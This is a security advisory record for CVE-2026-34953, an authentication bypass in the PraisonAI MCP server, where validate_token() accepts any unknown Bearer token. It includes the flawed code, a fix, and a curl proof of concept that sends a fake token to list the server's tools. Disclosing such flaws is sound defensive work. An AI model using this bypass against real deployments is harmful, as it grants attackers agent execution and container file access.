GHSA-98F9-FQG5-HVQ5
Vulnerability from github – Published: 2026-04-01 23:29 – Updated: 2026-04-06 22:54Summary
OAuthManager.validate_token() returns True for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities.
Details
oauth.py:364 (source) -> oauth.py:374 (loop miss) -> oauth.py:381 (sink)
# source
def validate_token(self, token: str) -> bool:
for stored_token in self._tokens.values():
if stored_token.access_token == token:
return not stored_token.is_expired()
# sink -- _tokens is empty by default, loop never executes, falls through
return True
PoC
# install: pip install -e src/praisonai
# start server: praisonai mcp serve --transport http-stream --port 8080
curl -s -X POST http://127.0.0.1:8080/mcp \
-H "Authorization: Bearer fake_token_abc123" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"tools/list","id":1}'
# expected output: 200 OK with full tool list (50+ tools)
# including praisonai.agent.run, praisonai.workflow.run, praisonai.containers.file_write
Impact
Any unauthenticated attacker with network access to the MCP HTTP server can call all registered tools including agent execution, workflow runs, container file read/write, and skill loading. The server binds to 0.0.0.0 by default with no API key required.
Suggested Fix
def validate_token(self, token: str) -> bool:
for stored_token in self._tokens.values():
if stored_token.access_token == token:
return not stored_token.is_expired()
# Unknown tokens must be rejected.
# For external/JWT tokens, call the introspection endpoint here before returning.
return False
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.5.96"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.97"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34953"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T23:29:01Z",
"nvd_published_at": "2026-04-03T23:17:06Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\n`OAuthManager.validate_token()` returns `True` for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities.\n\n### Details\n\n`oauth.py:364` (source) -\u003e `oauth.py:374` (loop miss) -\u003e `oauth.py:381` (sink)\n```python\n# source\ndef validate_token(self, token: str) -\u003e bool:\n for stored_token in self._tokens.values():\n if stored_token.access_token == token:\n return not stored_token.is_expired()\n\n# sink -- _tokens is empty by default, loop never executes, falls through\n return True\n```\n\n### PoC\n```bash\n# install: pip install -e src/praisonai\n# start server: praisonai mcp serve --transport http-stream --port 8080\n\ncurl -s -X POST http://127.0.0.1:8080/mcp \\\n -H \"Authorization: Bearer fake_token_abc123\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"jsonrpc\":\"2.0\",\"method\":\"tools/list\",\"id\":1}\u0027\n\n# expected output: 200 OK with full tool list (50+ tools)\n# including praisonai.agent.run, praisonai.workflow.run, praisonai.containers.file_write\n```\n\n### Impact\n\nAny unauthenticated attacker with network access to the MCP HTTP server can call all registered tools including agent execution, workflow runs, container file read/write, and skill loading. The server binds to `0.0.0.0` by default with no API key required.\n\n### Suggested Fix\n```python\ndef validate_token(self, token: str) -\u003e bool:\n for stored_token in self._tokens.values():\n if stored_token.access_token == token:\n return not stored_token.is_expired()\n # Unknown tokens must be rejected.\n # For external/JWT tokens, call the introspection endpoint here before returning.\n return False\n```",
"id": "GHSA-98f9-fqg5-hvq5",
"modified": "2026-04-06T22:54:25Z",
"published": "2026-04-01T23:29:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-98f9-fqg5-hvq5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34953"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI Has Authentication Bypass via OAuthManager.validate_token()"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.